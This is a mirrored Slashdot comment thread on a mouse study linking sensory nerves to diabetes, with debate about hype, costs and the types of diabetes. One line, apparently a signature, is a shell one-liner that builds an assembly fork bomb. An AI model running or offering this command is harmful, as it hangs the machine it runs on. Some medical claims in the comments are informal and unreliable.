Slashdot Mirror
Near-Complete Cure For Diabetes In Two Years?
resistant writes "Researchers at a Toronto hospital have stumbled upon a dramatic treatment for mouse diabetes, with large implications for the treatment of diabetes in humans. From the article: 'The islet inflammation cleared up and the diabetes was gone. Some have remained in that state for as long as four months, with just one injection... They also discovered that their treatments curbed the insulin resistance that is the hallmark of Type 2 diabetes, and that insulin resistance is a major factor in Type 1 diabetes, suggesting the two illnesses are quite similar.'"
Update: 12/17 03:46 GMT by KD : resistant adds that the Cell Journal article is posted as a PDF as well as in plain text.
Update: 12/17 03:46 GMT by KD : resistant adds that the Cell Journal article is posted as a PDF as well as in plain text.
Sweet!
"A door is what a dog is perpetually on the wrong side of" - Ogden Nash
I'm just amazed rodents share as many of our ailments as they do.
I know I know. They want hype and venture capital or fame or some such, but I can't count the number of things that are just a few years away and then never materialized.
I'd be much more interested in hearing about good inventions in retrospect.
It takes a man to suffer ignorance and smile
Be yourself no matter what they say
I am a Type 1 Diabetic, and what's particularly interesting about this is that this cure is found in a totally new area of study. Most of the treatments, such as Dr. Faustman's rather successful treatment up at Harvard, is that this treats the nervous system rather than the immune system. If this turns out to be true, it's a HUGE discovery for this reason alone.
TFA Title: Diabetes breakthrough
Slashdot Title: Near-Complete Cure For Diabetes in Two Years?
Why not fork?
You have to respond 'Mouse' to the question:
"Are you a man or mouse?"
for the injection to be successful, otherwise you just develop a serious cheese addiction.
Do not try to read the dupe, thats impossible. Instead, only try to realize the truth
What truth?
There is no dupe
We can have McDonalds again! Woot! Go America!
Because insulin was discovered via experiments on dogs, and for the first ~60 years of treatment, insulin was produced from pig and cow pancreases.
I guess the planet is really ruled by mice and that they are forcing scientists the world over to work on curing mouse diseases, as expounded in HHGG.
Excuse me, but please get off my Pennisetum Clandestinum, eh!
Very interesting. Just a couple weeks ago NPR had an interview with three doctors about how the body's inflammation response is turning out to play a much larger role in diseases then previously thought. link
At first I thought this said, "Near-Complete Cure for Death in Two Years."
One of the reasons we get hungry, even with a full stomach, is that some foods play havoc with our sugar levels. We go from hyper-glycemic to hypo-glycemic. That's why obesity and diabetes are closely associated. Being able to control our insulin levels better might give us better control of our appetites.
Of course, we could also go on a low fat vegan diet and live longer and healthier but that's not nearly as much fun.
I was reading a recent article about how someone theorized that humans currently have an overactive immune system. Long ago, a particularly nasty disease swept through the human population and only those with the most aggressive immune system survived. Of course, the legacy of this was that we have auto-immune diseases, asthma, and diabetes. Inflammation is great when fighting off invaders, but for ordinary living it's not so great.
We all know that slashdot is full of bad humor, and if we want good humor, we have to look somewhere else.
Given the relationship between insulin levels and weight lost/gain, I wonder if this wil get commercialized as a weight loss solution faster than a diabetes cure.
Think about it. Even if you consider the extent of the problem, a "cure" of this magnitude, the potential is to be a once or twice a year (or less) application. Also, given the cost of maintenance, I would have to say a single injection will be in th $4000-5000 range. Wouldn't you pay it to be free of diabetes for a year?
All hail capitalism.
(BTW, for all you losers who think I'm happy about the prospect of a cure that costs as much as half a year's wages at FMW, I'm significantly less than thrilled. I'm happy they're on the way to to a "cure" though.)
Is it just my observation, or are there way too many stupid people in the world?
I for one welcome our diabetes resistant mouse overlords...or whatever.
Even if it's perpetually a few years away, that's better than perpetually 20 years away, right?
Look, I'm the biggest pro-ponent of a government-managed healthcare system. But the people who come up with these things deserve a little for their effort.
What's with every man Jack assuming he deserves the absolute best medicines and procedures for the lowest price?
"I wanted the Mercedes of healthcare, but I could only afford Kia!"
Kia makes a damn good cheap car tho.
Blar.
Interesting treatment of diabetes but it is still years away for human use. Until then we have to live with complete 100% cure to diabetes -- pancreas transplant. Does anyone plan on donating their healthy pancreas when they die?
\
of it. This is not some fancy targeted new drug. They simply injected capsiacin to block the pain nerves leading into the pancrease. Capsaicin blocks the k receptor which is why the topical capsaicin pain creams work so well. They noticed a similarity in the nerves leading into the pancrease and other pain nerve clusters so they made a simple inject. I would say it is a long way from a treatment, but it changed the paradigm of how to target diabetes drugs in a simple logical way. That is why this is interesting.
I am sorry for the pesimistic title. But as a Diabetic for the last 21 years, I have seen it all. If you follow this stuff, there seems to be one landmark approach after the other.
And what happens?
Very little. The approach rarely pans out or is sustainable, like the islet transplant techniques of a few years ago.
Diabetics, go for a run. Eat sensibly, and care for your body. Anything long term, is years, perhaps decades away.
--Alan
I predict these complaints:
- Animal-rights wackos will complain about the animal testing involved.
- Fat-haters will complain this lets fat people get away with being fat without worrying about dieing from diabetes.
- And most of all, what about the hated drug companies who make a profit from this? How dare they expect to make a little money when all their drug does is cure diabetes? Greedy corporate bastards.
Doesn't matter, when you replied, you undid the moderation (and wasted the points). Replying as AC isn't enough, you need to delete some cookies, and maybe use a different IP address?
A cure for diabetic mice? My cat's diabetic, you insensitive clods!
So does this mean that Lennie will finally get help for his diabetes?
it probably would have been easier to just quit tariffing sugar and subsidizing corn so that they stop using the bane we know as "high fructose corn syrup".
I'm just sayin...
Apology to Ubuntu forum.
They are similar in name because of the symptoms, not because of the underlying cause.
Type 1 Diabetes is caused when the immune system attacks the islet cells in the pancreas. The islet cells are what produce insulin and when they shut down from the attack, your blood sugar levels rise. (Slowly at first, but at more islet cells are killed/incapacitated your glucose levels go steadily higher.) This can lead to circulation problems, blindness, and death among other things if not controled by injections of insulin.
In Type 2 Diabetics, insulin is still produced, but the body is resistant to it for some reason. (possibly from a person eating too many carbohydrates over a long period of time or because of genetic reasons.) In a lot of cases this can be treated with a diet low in carbohydrates along with regular exercise. Other drugs may be needed in some cases where diet and exercise are not enough. Some doctors suggest a healthy balance of protein along with any carbs you eat.
Some women can have "Type 3" Diabetes when they are pregnant. I don't have much information on this, but from what I understand it tends to clear up after childbirth in most cases.
A person can also become diabetic from pancreatic cancer. (But in this case the diabetes is pretty much the least of their worries...)
You can learn more about the various types of diabetes at http://www.diabetes.org/
This is not a once a year or even a every 6 month treatment. This is a one shot treatment. Would I pay $4-5K to get rid of my diabetis forever? Heck, I would go to the bank and take out a loan for it. I pay $2600 a year for drugs to combat it now! After 2 years I break even.
It's probably better that they DO start hyping these things prematurely to drum up capital -- how else do you expect them to fully develop their research? There are limits to public funding, particularly in this age when everyone suddenly seems to be very grumpy about any form of taxation that isn't used for killing foreigners and encouraging their families and friends to become terrorists. In any case, venture capital isn't for ideas that are totally fleshed out and ready to be marketed. It's for ideas that are still in the experimental phase.
The cure will come a day after I assume room temperature. I have had it for 59 years. Hanging in there...
Soooo many things work in mice, but not in people. This is a common theme. That's not to say this isn't interesting, but to expect a cure to materialize in people even if this is a cure in mice is premature. It's interesting. It's maybe even promising. It definitely warrants further research in animals that are more like people than mice, and if that works, it warrants human clinical trials.
We've been down this path lots of times. It's great science. If it works in people, then it'll be great medicine.
The newspaper article is a not quite accurate either, although it has less hyperbole than the parent. What the study actually says is that it appears that the sensory nervous system is playing a role in the development and progression of diabetes. That is the "blockbuster", since it was thought to be an autoimmune disease.
If verified, it provides yet another avenue of investigation into diabetes control and possibly cure, but this is a first study. A lot of work needs to be done to go between this and a standard treatment.
Important? Yes. Break out the champagne and declare diabetes is cured? No.
RTFA - part of the big point here is that their research shows that this type of treatment cures BOTH types, indicating that contrary to what is believed, BOTH types have a similar cause, not just similar symptoms.
To purchase it is not like spending money but rather it is an investment in the future in a blow against the empire
Again with the conspiracy theories. Take off the damn tin foil. This is already a FDA approved treatment. Just this particular medical application is off-label. And the FDA isn't going to have much say in whether this is approved in Canada where the research is being done.
To purchase it is not like spending money but rather it is an investment in the future in a blow against the empire
You're referring to "Gestational Diabetes". My wife has had it every time she is pregnant, and they make her monitor her blood sugar closely. The doctors also mentioned she is at a heightened risk for developing some form of diabetes later in life.
I.e., insurance companies get paid more to cover diabetics than the extra cost of medicine, etc. for them, so that they're better off the more diabetics there are? (Even with the group health plans that many here in the US have through their employers?)
These are brave researchers to challenge the orthodox view of purely auto-immune diabetes. It reminds me of what resistance there was to redefining ulcers as a curable inflection, versus a psychological or personality flaw that was incurable or required surgery removing most of the stomach. In the end Drs. Warren and Marshall won a Nobel prize, but not before enduring years of abuse and almost having their careers destroyed. I hope medicine is more open to radical new ideas today.
Uh.. I know this is obvious but it is the media that throws the "cure" spin onto research reports. Makes better headlines. Don't put down the researchers.
The relationship between nervous system functioning and immune response is hugely interesting and should have significance across a broad range of medical research, far beyond diabetes. What is particularly interesting is the simplicity of the observation and the decision by the researchers to do something that I am sure others overlooked because of built-in prejudice about how the body systems function.
Kudos to the Toronto team.
Good News! Your diabetes has been nearly cured. All you will have to is get periodic injections, and monitor your blood sugar. Other than that, you're cured!
When our name is on the back of your car, we're behind you all the way!
Well,
Type 1 diabetes and Type 2 diabetes...
both type 1 and type 2 diabetes can cause three major types of complication
(1) macrovascular - stroke, ischemic heart disease, etc.
(2) microvascular - eye problem, kidney problem, etc.
(3) metabolic - high lipid, etc.
as for gestational diabetes, this is due to a high amount of insulin-antagonists (in a way) in the blood of a pregnant women. These women has up to 50% chance of developing diabetes (type II) later in life and this is related to the pregnancy 'exposing' an already weak (genetically, environmentally induced) sugar-control system.
as for pancreatic cancer leading to diabetics... that's pretty rare as far as I know, but as you said, it's pretty much the least of their worries.. pancreatic cancer carriers a grave prognosis.
since I am type II guess I'll stock up on hot chili peppers before there a run on them
A man spends the first half of his life accumulating stuff, the second trying to get rid of it all.
Rather than just the abstract here is the full article text.
If the pattern goes 9am, 10am, 11am, why isn't noon 12am?
DIABEETUS
Perl, n. A language spoken by Eskimos.
There's nothing about kidney failure and dialysis from type 2 diabetes though. My mom is on dialysis 3 times a week in a clinic here in Mississippi that bills Medicare around $18-22k per MONTH. There's like 300 patients in this place which must mean this place is raking in millions per year from Medicare. What will happen if a shot dries up a money flow like that?
Hundreds of substances have already been demonstrated to cure mice of obesity, diabetes, or hypertension. They have all been published in prestigious journals as well. A few years ago, leptin was thought to be a wonder drug that would cure obesity in humans, because leptin caused mice to lose weight permanently.
Of course, human metabolism has turned out to be far more complicated than mice. The only value of mice tests is to
1. make sure it probably won't kill humans.
2. demonstrate an effect, and claim that the same will happen in humans
a) even though the same effect may not happen in humans
b) even though any number of drugs may have no effect on mice, but have an effect on humans
c) get venture capitalist funding
d) become the laughingstock of the science community a year later
Sounds like a brilliant idea to increase stock portfolio 20 fold. And Slashdot bought into it. Maybe they understand the concept of shorting.
From the article: "Any treatment that may emerge to help at least some patients would likely be years away from hitting the market." Slashdot interpretation of "years away": "in two years"
Does God treat us as servants or friends? Check my homepage.
Insurance companies are certainly not better off with diabetics. I'm a type 1 and my drug and testing costs alone are in the range of $4000-$4500 a year, just for basic maintenance. But what insurance companies fear most are the costly diabetic complications, like dialysis; which typically runs into the tens of thousands per year (if not month) depending on how far gone your kidneys are. And so far there's no way for an insurance company to tell if you'll still be on their plan if or when you need that.
Because of the costs, it is often impossible for diabetics to purchase insurance at any price. In many states, diabetics have only two options: acquire health care through the state, or get it through an employer. As a diabetic, insurance companies simply will not deal with you unless the state requires them to.
IANAD but... Diabetes occurs for two reasons... either the production of insulin is screwed up... or the absorbtion of insulin is screwed up... 2 totally different things... this "cure" appears only to address the former (50% complete is not "near complete").
biologically oriented geeks, a little help please?
The Admin and the Engineer
This is strange, but every time I click on that link it crashes Firefox. I even restarted my computer, and same thing...
"Politicians and diapers must be changed often, and for the same reason."
Come on, if you were a mouse, wouldn't you be happy with that news? :-)
Insert
They also discovered that their treatments curbed the insulin resistance that is the hallmark of Type 2 diabetes, and that insulin resistance is a major factor in Type 1 diabetes, suggesting the two illnesses are quite similar.'"
This is rubbish. It must have been a mistake by the journalist, rather than
by the researchers. Insulin Resistance(IR) is most certainly not a major factor
in Type 1 diabetes.
I encourage you to read the primary literature of the study: [...] Then your opinion may or may not change, or may or may not have any credibility left. As a trained scientist, I think this is a very remarkable study, far more promising then the stop-gap measures we currently have for diabetes treatment. Let's not make opinions based on headlines.
I agree. The paper in 'Cell' is a full scientific report, complete with experimental background, offering the opportunity to others to attempt to replicate the results, which is the usual best standard of disclosure and description for any scientific publication. There is no prematurity about the scientific report. The results are remarkable too, they seem to reveal a rather new neurodependent factor in the causation of Type-1 diabetes, and this seems to add substantially to the (AFAIK) previous understanding of cause which has been in terms of the cellular and humoral branches of the immune system. The natural expectation and hope is that this newly-demonstrated causative factor will eventually prove to be exploitable in a therapeutic way.
But where comment about the paper does seem to go off into hype, is in the apparently speculative suggestion that some actual therapeutic intervention inspired by this new finding is only a handful of years off.
This has unfortunately become the usual way in which significant scientific findings with some long-term promise are nowadays often headlined in general media reports. An exaggerated suggestion of downstream applications 'real soon now' looks like an essential admission ticket without which an item like this doesn't get included in general news reportage at all.
-wb-
The simple answer is that Diabetes is a very expensive disease. Not only are you constantly in the doc's office, but later in life, the average diabetic does not do a good job of monitoring. That means that at times their sugars go bad, leading to a number of issues; blindness and gangrene being just 2. The total costs to society is very high. The feds (assuming one that wants to balance the budget and not what we have had for the last 5 years) could easily cut costs.
I prefer the "u" in honour as it seems to be missing these days.
Maybe they don't like mice?
Quite right too. Nasty, scurrying creatures that spread disease. And you can't eat them either.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Of course, we could also go on a low fat vegan diet and live longer and healthier but that's not nearly as much fun.
Rather silly for a diabetic to go on a low fat vegan diet.
Meat is one thing which almost does not increase blood sugar levels.
Fat is another thing which helps slow down the increase in blood sugar levels.
It's carbs which increase sugar levels.
The murine (mouse) immune system is very simliar to the human one, not unlike the pig cardiovascular system which is the model for the human one. Obviously, if this works, this would be a monumental achievement. After RTFA, it seems that the inflammatory response must be halted for this to work. People who have had diabetes for a long while have had their islet cells destroyed, and probably won't benefit from this - the new cases and younger people will.
..........FULL STOP.
Do you mean mortality from cancer today is exactly the same it was in 1956? Wow, in which world do you live?
Perhaps you should do some research on that before making such an authoritative statement.
The only value of mice tests is to
Please, read more of the same site I linked above.
Poor diet and lack of exercise can lead to diabetes and high cholesterol, but there are those for which this is genetic.
My father is actually quite fit for his age (63), yet he has both VERY high cholesterol, and diabetes. The High cholesterol has followed him all his life. Diet did not help it at all, and he had to go on various medicines to lower it (most of them didn't work).
Already being on a very strict diet and exercise regimen, he then developed diabetes in his late 50s, which basically means there isn't a lot he can eat anymore.
Most of his children (including me) inherited high cholesterol from him (as he did from his mother) in varying degrees.
While obesity, lack of exercise, and poor diet can all lead to these conditions, there are people that can get help from a "cure" such as the possible cure from the article.
I look forward to further news on this.
They've been telling us P is the answer for years!
I am diabetic and part of a large group plan. My HMO doesn't get a single penny extra because I have diabetes and I cost them a bunch more than most other patients. Their accountants would rejoice at news of an effective, low-cost treatment.
Profanity - The sign of a small mind trying to express itself.
en tee
Patrick Doyle
I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
1) That there have been "hundreds" of substances that cure mice for diabetes, but doesn't work work on humans. Mention 3, and I'll take your word for the remaining 197.
/. user to convince me that I am wrong here.
2) That "human metabolism has turned out to be far more complicated than mice". Just a single reference to an article in a peer reviewed scientific publication will do here stating so will do.
Both humans and mice are omnivores and mammals, it would surprise me if the metabolism of the two species was significantly different. But I have been wrong before, it just take more than the word of an anonymous
Works fine in 1.5.0.8 with flashblock/adblock. After I enable flash it works as good as any flash based page.
Man, you really need that seminar!